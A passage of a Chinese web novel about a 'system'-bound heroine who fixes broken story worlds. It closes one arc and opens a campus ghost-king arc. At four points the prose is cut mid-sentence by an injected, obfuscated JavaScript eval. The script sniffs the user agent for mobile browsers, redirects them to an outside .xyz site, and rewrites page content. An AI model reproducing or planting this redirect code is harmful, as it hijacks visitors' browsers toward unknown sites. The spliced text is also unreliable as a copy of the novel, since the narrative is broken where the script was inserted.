“为什么这么做?因为我想啊! 你是我的家人,我想和你在一起,我想帮你,我想成为让你开心的原因!” “我还想要一个名字,不然总是精灵精灵地叫太麻烦啦!你给我起个名字吧?” 闵朝言记得自己没有许下这个承诺, 但她的确在心里想好了一个名字。 只是她想得很慢, 所以最后也没有送出去。 “……好,我们去哪里。” 折日的声音重新恢复了平稳,在平静之下,有什么即将彻底爆发撕裂的东西被竭尽全力压抑住。 是啊,去哪里? 希望联盟和和平鸽遍布了整个地下城的眼睛都找不到的人,会在哪里? “如果找遍了所有地方都找不到,那对方就只可能在还没有找的地方,不是吗?” 闵朝言说。 她抬头向上看去。 那里是一片黑暗,是被土层覆盖住的“天空”, 是她原本就打算前往的目的地, 是“太阳”。 她摊开手中的一幅尚未完成的狂草素描,那上面的画面是燃烧着的太阳。 看来,这是予烬的最后一个梦。 闵朝言一行人离开了贫民窟,重新回到了城主的居所, 据少晏所说,这里是离“太阳”最近的地方。 如何前往“太阳”并不是最难的事, 但怎么进去?这就是问题了。 “难道指望予烬在里面给我们开门?” 疤女说了一个冷笑话。 闵朝言没回答,手中鞭影默默浮现。 [S++武器·溺亡者] [请玩家确认,是否使用?] 幽蓝色鞭影如惊雷乍现爆裂,重重击打在金属制大门上! 上面顿时出现了一个极深的凹陷,即使是被鞭影带过的风,都锐利惊人,在门框上留下深深的痕迹。 ……好强。 折日惊疑中看了一眼闵朝言,却发现对方咬牙紧绷,显然也并非全然自若。 “还好吗?” 鹤棠站在闵朝言身后,抬手虚扶着她,犹豫一瞬,不敢真的阻挠她使力,却也忍不住地担忧。 “没死。” 闵朝言言简意赅。 下一鞭又至,金属大门发出沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426745|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重的轰鸣声,仿佛一只巨兽哀嚎。 再一次! “轰——” 大门倒下,闵朝言脱力,后背覆上一只手,是少晏,力道并不重,刚刚好扶住她却不显得过分。 “好厉害。” 他看着闵朝言,眼中闪着光,是他身上难得出现的纯粹情绪。 他崇拜着她。 闵朝言看着前方,那里站着一个即使在废墟中也依然璀璨美丽到不可思议的人, 是这个故事的主角,也是这个宇宙的囚徒, 是予烬。 他站在原地,大门倒下时掀起的风在脸颊边留下一道血痕,显出一种凄楚的美。 “你和我想象中,一模一样。” 他看着闵朝言,声音很轻地说,带着一种迷离的恍然, “我终于见到你了。” 终于? 闵朝言没反应过来。 「什么终于?咱们之前不是还把他打到半死吗?」 系统疑惑。 ‘系统,查看予烬的崩坏值。’ 闵朝言若有所思。 「好!崩坏值……还是99,冻结中!」 系统惊讶。 「可他不是已经醒了吗?!」 之前,闵朝言一直认为予烬是被随尚带走的,他自己依然处于沉睡或是假死的状态,并没有醒来,这个判断的依据,来自于予烬始终处于冻结的崩坏值。 然而,予烬现在就站在她们面前,显然已经清醒, 但崩坏值却依然是冻结的。 这是副本的bug吗? 又或许…… ‘不,他没有醒。’ 闵朝言说。 至少,那个因为无尽梦境而陷入疯狂,导致崩坏的“予烬”,还没有醒来。 现在的这个“予烬”,并没有崩坏, 所以,他根本不会触发“崩坏值计算”。 “你之前一直在想象我?你没见过我吗?” 她问。 “我见过你,在你的仪式上,远远的。” 予烬说着,一步步向闵朝言走来,神情单纯而溢满向往, “我还想见你,早一点见到你,比现在更早,比什么都更早。” 他踏过废墟,在闵朝言面前停下, 在废墟的角落里,有暗红色的鲜血在尘埃下,缓缓渗出。 ‘系统,那个尸体的身份。’ 闵朝言说。 「……是随尚。」 系统回答。 「很新鲜的尸体,刚断气几秒钟。」 “那你为什么不去找我?” 闵朝言神色未变,看着予烬的眼睛。 “我错了,我也是刚刚才想明白的。” 予烬说着,拉住闵朝言的手,认真地像是在承诺一个誓言,又或者是布下一个诅咒。 “不是等待,我应该主动去找你,” “永远地,不顾一切地,来到你身边。” 这是我, 往后漫长生命中的, 唯一永恒。 21. 地下城的暴君(完) ‘系统,我有一个想法。’ 闵朝言突然说。 「嗯?什么想法?」 系统问。 ‘之前每一次,折日她们杀掉予烬,这个副本就会回溯重启,对吗?’ 她问。 「确实是这样。」 系统说。 ‘按照你的任务思路来说,如果想要让这个副本回到正轨,就必须清除主角的崩坏值,对吗?’ 她又问。 在之前系统提供的路径中,有两个重点。 一个,是按照剧情大纲完成剧情节点,这是玩家获得积分,兑换道具的途径; 另一个,则是消除主角的崩坏值,这是真正完成任务的标志——因为只有主角回到正轨,副本才能回到正轨。 并非完成节点可以消除崩坏值,而是完成剧情节点是主角回到正轨的标志,而“回到正轨”这件事,就标志着主角的崩坏值在降低。 「没错。」 系统回答。 ‘所以,如果我让予烬的崩坏值清零,那么这个副本就自然而然完成了。’ 闵朝言总结。 「话是怎么说,但是……不可能吧?」 系统迟疑。 ‘怎么不可能?’ ‘现在,不是有两个予烬吗?’ 予烬的失忆是闵朝言和系统之前都没有意料到的事, 但从现在的情况来看,这未必是一件坏事。 之前陷入循环噩梦,并且因此人格崩塌,崩坏值暴涨到99的予烬,现在已经处于“被遗忘”的状态中。 而现在站在闵朝言面前,对一切都一无所知的予烬,尚且不认识这个世界,又谈何崩坏呢/ 当然,这个人的本性似乎和原剧情中概括出的“纯善圣父”有着相当大的差别…… 闵朝言的目光不准痕迹地扫过不远处被掩盖起来的血迹,那是随尚德尸体。 予烬和随尚之间发生了什么,闵朝言不知道也没有兴趣知道, 但她很清楚,那个“剧情梗概”里的圣父予烬,可是从头到尾没有杀过一个人的。 所以,即使是这个“纯良版”予烬,或许也有着一些扭曲的底色。 但无所谓,闵朝言不需要他是一个真正的好人, 她只需要一个没有崩坏值,可以让她顺利完成任务的人而已。 「你是说……用这个失忆版予烬的崩坏值来代替之前那个崩坏版予烬的崩坏值?可是我没有那个权限啊?」 系统疑惑。 ‘别想得那么复杂,你就当做是人格分裂。现在主人格在沉睡,我们要做的是杀掉他,让符合我们需要的副人格上位。’ 闵朝言声音轻快地回答。 该怎么杀死那个沉睡中的予烬呢? 这大概需要他自己来了, 只要一点,小小的、引导。 闵朝言笑了下,看着予烬的眼睛,轻声道: “予烬,你真的什么都不记得了吗?” 予烬看着闵朝言,神色几乎沉醉,听见她的声音,仿佛惊醒一般,摇摇头。 “我不记得了。” “但那些东西,本来就不重要。” 他说。 “你怎么知道不重要?” 闵朝言问。 “……因为,我现在觉得,他们不重要。” 予烬回答。 折日站在稍后一点的位置,和疤女交换了一个眼神,脚步正要上前,却被一只手臂拦住。 抬眼一看,是鹤棠。 他显然心情并不美妙,唇瓣抿成一条直线,呼吸都带着一股咬牙切齿的味道。 他到底为什么这么恨予烬? 折日在极其偶尔的时候会思考这个问题,她和疤女想要杀死予烬只是为了逃出循环,对这个人本身没什么感情。 但鹤棠是厌恶,乃至于憎恨予烬的, 至于原因,她没问过,鹤棠也从来没有说过。 当然,现在这个问题已经不重要了。 “杀了他,我们就能自由了。” 折日看着鹤棠,一字一句地说。 鹤棠没有说话,只是看向闵朝言的方向。 折日觉得他变了。 尽管在之前的循环中,她和鹤棠也算不上有什么交情,但彼此接触过,作为少数几个知道循环真相的人,她们之前有种微妙的“同类”感。 那个时候的鹤棠,尽管总是端着一副老神在在的讨嫌模样, 但折日能看出来,这个人心里燃烧着焦灼的火焰,他和她们同样的迷茫,同样的疯狂,同样的为了结束这一切愿意不惜代价。 但现在…… 他好像有什么不一样了。 好像有什么东西扑灭了火焰,在土壤中生根发芽,长成更加茂密,遮天蔽日的东西。 “杀了我,你就能自由了吗?” 予烬问。 “能不能有让你自由,我也能活下去的办法?” “如果我说没有,你会乖乖去死吗?” 闵朝言笑了一声。 予烬沉默了一下,摇摇头,只说: “不会的。” “我有条件,你要做到了我才会去死。” …… 「哇,这个失忆版男主也太纯良了吧!」 系统惊讶。 闵朝言却没回答,后退一步抽出手,转身走向鹤棠。 予烬睁大了眼睛,一把握住她的手腕,声音里带着委屈和不解: “你不愿意就不愿意嘛,干嘛要扔下我?” “你没听见吗?” 闵朝言问, “下面的声音。” 咚、咚咚、 什么声音? 闵朝言还没反应过来,顷刻之间,地动山摇!是什么东西! 怎么回事!? ‘系统!?’ 闵朝言皱起眉。 但回答她的不是系统。 [警告!警告!] [副本世界坍塌中!请任务者紧急避险!!] 怎么回事? 闵朝言一把扯住予烬,避开直直朝她砸过来的悬梁,往外跑去。 “要开始循环了!” 折日高声说,冲着闵朝言的方向。 “闵朝言,杀了他!” 她声嘶力竭地大喊着。 循环, 原来循环,是这么声势浩大的事情。 「循环?怎么会开始循环?我们已经进入副本,这个小宇宙应该结束封锁状态,继续向前流动了才对!」 系统大惊。 ‘现在重点不是这个。’ 闵朝言的声音凝重起来。 在上一个循环时, 闵朝言和系统都不存在于这个副本当中。 那么,在这一次的循环回到了“闵朝言不存在”的时间节点时, 她还会存在吗? 鹤棠冲了过来,他紧紧握住闵朝言的手腕,呼吸声急促而惊慌, ——他也想到了这个可能性。 “走,快走!” 他说。 离开这里, 离开,这个世界。 “……走不了。” 闵朝言摇摇头,反手握住他。 “那个系统呢?ta有办法吗?ta一定有办法吧?!” 鹤棠急促地问。 “我想,大概也是没有。” 闵朝言听着脑海中系统疯狂的乱码电流声,又摇头。 「闵朝言,我想到了!」 系统的声音炸开。 「现在时间紧急,没办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432267|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按你最开始的计划行动了,但是我们换一个思路走,既然能想办法用纯良版予烬把崩坏版予烬换掉,为什么不能用其他人来干脆换掉整个予烬!」 系统连珠炮一样说出自己的想法, 与此同时,弹出的还有一个道具兑换框。 [白月光药水] [属性:一次性道具] [说明:你的真爱是谁?你的真爱是我。怎么会是别人呢,就是我呀,亲爱的,别多想了,只看着我吧。] [效果:使目标将使用者认定为自己的“白月光”,道具效果不定时,请谨慎使用。] [目标设定:——?] 闵朝言的视线一顿,停在最后一句话上。 效果不定时, 这是一颗随时可能炸开的子弹。 她, 要让谁来吞? “你想到办法了。” 鹤棠的声音在她耳边响起。 “你在犹豫。” 闵朝言没有回答,只是抬头看着他的眼睛。 [鹤棠] [崩坏值:2] 这是一个低到可以被视作“崩坏已清除”的数值。 一个完美的数字。 “你很少这样专心地看我,让我猜猜,这个办法需要我去死,你在犹豫,是该诱骗我,还是威逼我?” 他的声音中带上笑意,如释重负地。 “什么都不用,只要你能活下去,什么都好,” 鹤棠抱住她,闭上眼睛,感受着闵朝言的心跳声, “我会去找你的,即使你不想再见到我,我也会从地狱里去找你的。” “有没有人说过,你的内心戏很多?” 闵朝言平静地开口。 “他们一般说我很装,我赞同。” 鹤棠笑着回答。 “你不会死。” 闵朝言说, “不会马上死。” “那就是说,我还有自救的机会?” 鹤棠笑着点头。 闵朝言没解释,或许是因为懒得解释,也可能是因为别的什么,总之,她几乎是掐住对方的脖子,仰头吻上去。 他的唇没有予烬柔软,透着一丝凉意, 顺服之下又带着被极力压抑住的侵略欲,呼吸几乎完全静止,爆裂的囚徒伪装乖巧,假装自己不会弄坏主人赐予的项圈。 总是一副游刃有余模样的男人,在此刻显露出难掩的生涩与紧张,像个站在十字路头又不敢抬头张望的小男孩,他的手抚上闵朝言的腰,却紧张到迟迟没有将手指扣紧。 “恭喜你,你是这个世界新的主角了。” 一个比起缠绵更多是掠夺的吻结束,他耳边响起闵朝言的声音。 平静陈述着他崭新的命运。 [道具·白月光药水] [使用对象:世界] “在‘世界’发现你是个冒牌货之前,快走。” 她说。 下一秒,摇摇欲坠的世界终于崩塌, 碎裂四散的天空当中,他在她的眼中,看见自己的影子。 循环重启。 鹤棠睁开眼睛,发现自己穿这一身白大褂,站在实验室里, 他手中拿着一个针管,小臂上的疼痛提醒着他,那上面的针头还没有从皮肤里被抽出。 针管中,流淌着淡蓝色的液体, 那是他的血液。 他成为了新的“主角”, 世界,何时会发现这个冒牌货? 鹤棠微笑着将针管抽出,将里面的血液注入一个玻璃瓶里,眼前的玻璃折射出折日步入实验室的身影。 “欢迎来到新世界,” 他说。 “在这个世界里,我们终于要走向结局了。” [世界一·完] 22. 校园鬼域(1) 黑暗。 在无声无光的一片黑暗中流浪,闵朝言甚至感受不到自我的存在。 视觉,触觉,嗅觉尽数消失, 只剩下无尽的空虚,连时间的概念都已经消亡。 我在哪里, 我要做什么? 我……是谁。 “闵朝言!” 沉重的声音打破黑暗,闵朝言自虚空中惊醒,抬头看着眼前的黑版,睁大眼睛,却说不出话来。 身边坐着的女生看了她两眼,随后举起手来,有点犹豫: “额,老师,她到了。” 心到没到知道, 人反正是在这坐着了。 “哼,什么课都敢睡觉,看你期末成绩怎么样!” 身材圆滚的中年男人从鼻子里哼出一口气,白了闵朝言一眼,又开始念经一般的讲课: “这个函数……” 闵朝言终于回过神来。 她将手心放在冰冷的座椅扶手上,感受着温度和触觉的同时回归,有种“活着”的实感。 身边的女生又看了她两眼,小声说: “我知道大老陈的课无聊到爆,但是你也不能真的倒头就睡啊,他很小心眼的,期末肯定要卡你平时分了。” 闵朝言转头看她。 一张平平无奇,但很年轻的面孔,不仅是肌肤长相上的年轻,更是那种只属于年轻的,不经世事的眼神,清澈而…… 单纯。 就用这个词吧,毕竟她刚才还替闵朝言答到了。 “没关系。” 闵朝言拿起刚才垫在她脑袋底下的课本,那封面上赫然写着四个大字: 高等函数。 「闵朝言闵朝言闵朝言!!你快看积分,快看快看!!!」 系统的声音在脑袋里炸响。 ‘……停。’ 闵朝言深呼吸,控制住想锤它的冲动。 「嘿嘿,我太兴奋了嘛。你快看快看。」 系统不好意思地偷笑两声, 「我的计划有用!我的诶。」 闵朝言点开自己的状态栏。 [闵朝言] [玩家/系统绑定任务者] [积分:750] [已完成副本:1/?] [恭喜你,任务者,你已经顺利(?)完成了自己的第一个副本,展现了充分的实力和胆魄!积分即是你的勋章,也是你前行的凭证。] 第一个副本完成了? 闵朝言的视线停住。 她想起最后鹤棠的眼神,还有世界坍塌时的地动山摇,呼吸一时间找不到自己的节奏,干脆停滞。 ‘是的,你的方法很有用。’ 她听见自己回答。 「我也没想到,效果居然这么好!」 系统兴高采烈地说。 在上一个副本的最后,系统想到了“狸猫换太子”的计策: 将予烬掳走,趁着副本失去主角的间隙,对鹤棠使用“白月光药水”,欺骗了尚未成型的副本意识,让整个“世界”将鹤棠视为主角。 鹤棠的崩坏值只有2,这样的超低数值完全可以达到闵朝言完成任务的标准, 于是,在世界被欺骗的瞬间,闵朝言的任务也就完成了。 至于“世界”发现这场骗局的真相之后,鹤棠会面临什么…… 那个时候,闵朝言和系统早就已经离开副本了,波及不到她们。 所以,对于闵朝言来说,这算得上无本万利的买卖——毕竟如果那个副本崩塌了,她就算颗粒无收也是要跑的。 别人的死活,关她什么事?鹤棠自己还上赶着要做她的棋子呢。 话是这么说, 闵朝言也以为自己不会有任何波动。 但是…… ‘那个副本的结局,有吗?’ 她问。 「嗯,你好奇那个呀?一般来说修复完成之后我们就没有权限查看啦。」 系统说。 「反正积分已经到手了,结局怎么样都无所谓啦。」 ‘……我用积分换。’ 闵朝言说。 她想看那个结局, 她想知道,后来发生了什么。 「嗯,我试着打个申请报告吧,要是可以的话我告诉你!」 系统说, 「你担心鹤棠吗?」 ‘我也不知道,也许我只是想看结局。’ 闵朝言说着,视线向下看去。 [当前副本身份:新生鬼王] [作为新生的鬼王,你还只是一个柔弱的孩子,记得保护好自己哦,被发现身份的话……] [主线任务:帮助主角‘陶沐’完成封印。] [任务奖励:积分*1000,随机道具*1] 新生鬼王? 闵朝言在心里默念这个词。 「对啊,我给你选的这个身份不错吧?没有任何前史也不用顾忌人设!」 系统得意地说, 「你现在是副本‘校园鬼域’的终极BOSS,鬼域之主闵朝言!」 ‘主角要封印谁?’ 闵朝言挑眉,声音平静地问。 「额……封印你。」 系统地声音又心虚起来, 「没办法,我只能从反派里挑身份嘛,至少你一直到最终战之前都是很爽的!」 副本《校园鬼域》, 是一个简单的轻松末日剧情副本。 千百年前,鬼域和鬼王曾经肆虐这个世界,杀死无数无辜生命。 在危难之时,有一个极其强大的捉鬼人出现,她斩杀鬼王,封印鬼域,将和平重新带回人间。 然而,鬼域潜藏在封印之下,依然蠢蠢欲动。 她的后裔遵从她的遗命,世代守护封印,千年下来,延续迄今,只剩下最后一支传人还在坚守使命。 而鬼域的存在和鬼王的恐怖,也渐渐成为了一抹飘渺的传说,世界的真相,不为普通人所知晓。 直到某日,有几个普通人意外触动了大学校园中的鬼域封印,导致了鬼域苏醒,新鬼王诞生。鬼王实力强大,若是破出封印,其鬼域将会急速扩张,直到吞噬整个世界! 末日将近。 这时候,这个副本的主角,越珑,出现了。 越珑表面上是一个普通的19岁大学生,实际上千年前强大捉鬼人尚存的唯一后裔,也是千年来唯一一个有着比肩祖先天赋的天才捉鬼人。 在感知到封印松动之后,越珑火速转学到了这所大学,独自探查封印,试图重新加固封印。 在这个过程中,她遇到了各种困难,也遇到了形形色色的人。 交到了值得托付一生的朋友,也被乔装成人类的新生鬼王狠狠欺骗背叛,最后在朋友们的帮助之下,封印了狡诈的鬼王,拯救了世界,也收获了珍贵的友情。 在这个副本中, 闵朝言的角色是新生的奸诈鬼王。 她乔装人类,用温暖亲近的伪装人格来接近越珑和她的朋友们,成功获得信任,又在关键时刻狠狠背刺众人冲破封印,导致朋友们性命垂危,刺激越珑热血爆发,喊着什么友情啊奋斗啊就把封印给重新堵上了。 总之,是个风格积极向上,颇具热血少年感的故事。 至少,在主角崩坏之前是这样的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441858|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘这次的主角怎么崩坏的?’ 闵朝言闭上眼休息,问系统。 「额,简单来说,就是,比起成为天才捉鬼人,她决定要追求自己的艺术梦想,成为一名伟大的,漫画家。」 系统叹息。 「至于她的画……」 闵朝言眼前投影出一副凌乱且色彩爆炸的画面, 她用了足足半分钟,才分辨出来中间那个仿佛墨水打翻现场的东西,是一个人物形象。 ‘这是世界爆炸吗?’ 闵朝言问。 「不,这是角色在跳街舞,那些颜色点点是她的肢体在飞舞。」 系统回答。 ‘……哦。’ 闵朝言第一次感受到无语的情绪,她确实无法做出任何评价,这已经超越人类审美能理解的范围了。 「总之,事情就是这样,我们不仅要消除崩坏值,让她走上捉鬼人的职业道路,还要让她最后把你封印起来……」 系统感慨, 「咱们可太敬业了。」 ‘对了,主角是——’ 闵朝言开口要问,转头无意间扫到隔壁女生草稿本上的内容,顿了一下,又说: “不用了,我知道了。” 隔壁女生看着闵朝言的视线扫过来,眼睛一亮,把自己的草稿本往她的方向推了推,一副热情推销的语气: “你看漫画吗?这是我下一话的手稿,主角接受了对手的挑战,正在紧张筹备自己的街舞比赛,你看这个动作……” 越珑的声音在耳边模糊成一片雾, 闵朝言看着草稿纸上无数个扎眼的大色块和仿佛碳素笔碎在上面的被摩擦了一个小时的线条,安静地沉默了。 她终于, 感受到了任务的压力。 「额,对了,还有,还有一个事,要和你说。」 系统小心翼翼地开口。 「我们上个副本的计划里,不是有把予烬掳走这一环嘛,然后,就是……我本来打算把他放在哪个副本缝隙里的,但是他,好像……」 系统支支吾吾。 ‘说。’ 闵朝言皱眉。 「额,他,好像,跟着咱们进来了这个副本里,了。」 系统心虚地回答。 …… ? ‘他在哪?’ 闵朝言问。 「嗯,我,因为我们已经不在他的副本里了,所以我……追踪不到他。」 系统的声音越说越小。 ‘你是说,一个畸变病毒携带者,失忆了的前末日疯子,现在正在这个副本里,但是你不知道在哪里?’ 闵朝言语速很慢地重复。 「病毒没事的,两个副本世界观不一样,他不会传播病毒的!但是,其他的,确实……」 系统小声回答。 闵朝言猛地站起来。 “诶,你去哪里?” 正在兴奋讲解漫画的越珑疑惑抬头。 “睡累了,出去走走。” 闵朝言面无表情地回答。 站在讲台上的大老陈看着闵朝言就这么旁若无人地走出教室,气得粉笔都捏断了,大喊: “你这是旷课!我扣你平时分!” 闵朝言没有理会,快步向前走去。 「闵朝言,快!」 系统的声音提高了。 闵朝言近乎是冲进了洗手间,飞速反锁上门,用手撑着洗手台,看着里面的自己,呼吸和心跳声瞬间消失。 在镜子里,她的肌肤以肉眼可见的速度褪去血色,青白灰败起来。 她成为了一具站立的尸体。 23. 校园鬼域(2) 这是怎么回事?! 闵朝言看着镜中自己青白灰白的皮肤,一时间居然说不出话来。 ‘……系统。’ 她唤道。 「因为你的在这个副本的身份设定是刚刚诞生的鬼王,能力还比较弱,在阳气过于充足的地方,伪装有随时失效的可能!」 系统的声音响起。 「我们现在要补充一些阳气才行!」 “阳气”,其实就是生命力。 一般来说,年轻人的生命力和精力都是最旺盛的,这也是为什么人们往往会将学校建在旧坟地上,其目的正是用年轻人的阳气来镇压阴气。 阴阳二气,相生相克。 活人为阳,死者为阴。 所谓鬼域,正是阴气集大成后由此诞生的产物, 而闵朝言现在是由鬼域诞育出的鬼王,她的身体内几乎只存在阴气,在实力尚且羸弱时,很容易被阳气克制。 ‘可以用积分兑换吗?’ 闵朝言问。 「可以的,十积分……换一分钟,两小时起兑。」 系统说。 什么? 闵朝言现在账户里有750积分。 也就是说她倾家荡产,也只能维持2.5小时的人类伪装?还有起兑额? 好贵! 贫穷任务者闵朝言皱起眉,果断放弃了这条路。 开局就把积蓄败光,未免不值得。 ‘别的方法呢?’ 她问。 「别的方法就是,吸阳气咯,你是鬼王,这个对你来说属于出生自带的被动技能。」 系统回答。 「只要和阳气强烈的人产生接触,越亲密越久,效果越好!」 系统的尾音带上一点诡异的荡漾, 闵朝言挑眉。 ‘这个副本好不正经。’ 闵朝言说。 「哎呀,轻松校园日常当然也需要粉红泡泡。这个设定是为了方便后期卖姬用的。」 系统回答。 在原剧情里,越珑的青梅为救她身亡,化身为鬼。越珑为了让青梅用以人类的身份生活,一直将自己的阳气“借”给她。 亲亲抱抱贴贴什么的。 ‘这是个百合副本?’ 闵朝言问。 「不算吧,只是卖姬而已,没有正式官宣。玩家想要和那个角色的互动多,就要加钱抽卡,青梅化鬼回归的支线就是要抽卡另外开的。」 系统说。 果然是万恶的游戏策划才会想出来的大镰刀刀法。 闵朝言正在想怎么最大效率地“充能”,被锁住的厕所门忽然被撞了一下。 “嗯?怎么锁住了?” 门外有一个声音响起, “阿姨,这个洗手间是关闭了吗?没有吗?” 钥匙开锁的声音传来,闵朝言想躲进隔间里,推门却发现里面被抵住了,余光瞥到窗外是一片灌木丛,干脆拉开窗直接跳了出去。 刷啦—— 身体跌入灌木丛里,胳膊被枝桠划得有些痛,闵朝言从缝隙中观察外面,却正好隔着叶子对上一只眼睛。 “?” 正在系鞋带的男生愣神,还没来得及看清楚,忽然有什么东西冲了上来。 是什么?好白……嗯? 没等看清楚,他的眼睛就被一只冰凉的手捂住,然后,然后——在一片漆黑的视线中,只有触觉依然清晰—— 靠!他被强吻了!!! “唔唔唔——” 你谁啊你干什么这是老子的初吻!!!! 不过一晃神的功夫,那冰冷的唇已经离开, 男生再睁眼时眼前已经空无一人,只剩下被压断了枝桠的灌木丛提醒着他这一切并不是幻觉。 “顾羽,你怎么这么慢?” 走在前面的舍友见他久久没跟上,又折返回来问他,却只看见了一个呆呆站在原地,一张脸红透的呆滞人形。 “我,额,没什么,我没什么!” 被称作顾羽的男生猛地一激灵,回过神来,手不自觉摸着自己的唇瓣,又马上收回手,又强调了一遍: “我没事!” “我还以为你小子和谁对上眼了呢,那到时候校园论坛可就精彩了,” 舍友笑了一声,拍拍他的肩膀, “快走吧,训练马上开始了,王头儿可不是好惹的,小心又让你加练了。” “多跑几圈而已,谁怕他!” 顾羽哼了一声,往前走,脸颊终于不再红烫,脑子里却控制不住地回想着那句话: 对上眼了…… 他好像,还真是…… 啊,好烦,怎么亲完了就跑!是怕表白他不答应吗? 她先问问再说啊! 另一边,闵朝言从墙角探出头,看着对方的身影走远,松了一口气。 「我发现了,」 系统默默说。 ‘发现什么?’ 闵朝言将裤脚上的叶子拍掉,随手问。 「发现你的爱好就是强吻别人!」 系统大声谴责。 ‘没有啊。’ 闵朝言理直气壮地回答, ‘只有比较好看的,我才偶尔这么玩一下。’ 系统卡壳,开始回忆刚才那个男生的长相。 唔,身高一米八七,还不错, 天生笑唇,眉眼明亮,是几乎完美的阳光男大满分模板,篮球服露出肌肉线条饱满流畅的手臂,不管从什么角度来说确实都挑不出毛病…… 停停停!怎么被闵朝言的思路绕进去了! 系统用力晃脑袋。 「不管怎么说,这个爱好就是很奇怪啊!」 系统说。 ‘有用就好。’ 闵朝言看着自己已经重新变回人类模样的皮肤,问系统, ‘这个阳气够用多久?’ 「普通情况下,可以用很久了,但在越珑身边,估计只能撑几天。她是副本主角,是这个小世界里阳气最强大的人。」 系统回答。 「对了,我们现在怎么办?越珑已经完全崩坏了!她根本不想当捉鬼人,只想走她那个抽象漫画家道路……」 系统已经无力吐槽。 闵朝言点开属于越珑的信息框: [越珑] [“校园鬼域”副本——主角] [崩坏值:99] 豁,99? 上个达到这个数值的予烬可是一开局就被闵朝言打掉线了。 闵朝言的眉头慢慢皱起来, 似乎在酝酿一些并不太适配轻松热血校园日常的方法。 「这个崩坏值和予烬不一样的!」 系统连忙出声, 「崩坏值只是主角们偏离自己命运轨道程度的数字量化,予烬比较特殊,他的轨道高度绑定了‘善良圣父’这个人设,所以崩坏之后才会变成灭世大变态。」 「但是对于越珑来说,她的轨道更多绑定着‘天才捉鬼人’,她的崩坏值只是职业选择上的偏移,不是人性崩坏那种!」 系统生怕闵朝言干出什么又把主角锤成人格分裂的大动作,说得嗓子都要冒烟了。 ‘哦。’ 闵朝言点了点头,反问, ‘你急什么?’ 她还疑惑上了?! 系统一口气梗在(其实并不存在的)喉咙里。 闵朝言走回之前的教室里, 此时已经过了下课时间,教室里学生基本都走光了,只剩下闵朝言身边的位置还有人坐着。 是越珑,她在等。 “你回来了!” 越珑笑着对闵朝言招手。 她长相普通,说不上好看也绝不算难看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462534|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但浅麦色的肌肤覆盖着精壮有力的肌肉,眼神明亮专注,仿佛体内涌动着对人生无尽的活力和期待。 “你还没走?” 闵朝言问。 “嗯,你的东西还没拿,我帮你看一下。” 越珑说着,目光放亮地对着闵朝言抵出一张纸。 “顺便,邀请你加入我的社团!” 闵朝言抬手接过传单,上面是越珑标志性的抽象画风,凌乱繁杂的线条和色点交汇在一起,有种视觉爆炸之感,在纸上写着五个大字: 自由漫画社。 「哎,这就是第一个偏差的剧情点了,本来越珑一直兢兢业业做捉鬼人,听闻了封印松动的消息才来到了川阳大学——也就是封印的最中心。」 系统说。 在原剧情中,越珑也组建了一个社团:自由探索社。 这个社团的成员最开始只有越珑一个人,只是她在川阳大学“每个学生必须加入至少一个社团活动”的校规之下,为了自由行动才组建的空壳子。 当然,在后来的故事中,有更多的成员加入了这个社团,成为了她的朋友,也帮助她完成了封印鬼域的主线任务。 在原剧情中,伪装成为人的鬼王也是社团的成员之一, 鬼王扮演了一个被鬼域波及的受害者,被越珑从鬼域中救出,顺理成章成为了她的同伴之一。 “这是我的社团,如果,你有兴趣的话,要不要一起玩?” 越珑笑着说, “你是第一个认真看了我漫画的人,我很希望和你成为朋友。” 闵朝言看着她的眼睛, 闪亮,真诚,满含着期待的眼睛。 闵朝言看过这样的眼睛, 也听到过类似的话。 “你是第一个认真听我说话的人!” 有人这样和她说,然后就把自己的所有信任依赖全部交出来,以为她是家人,是同伴,是可以一起走向未来的人。 但是, 但是…… 但是闵朝言没有认真看她的漫画,她只是在和系统说话,只是在研究为什么副本主角会突然性格大变走上和“命运”截然不同的道路。 她并不在意越珑的漫画, 也不在意越珑的梦想。 “嗯。” 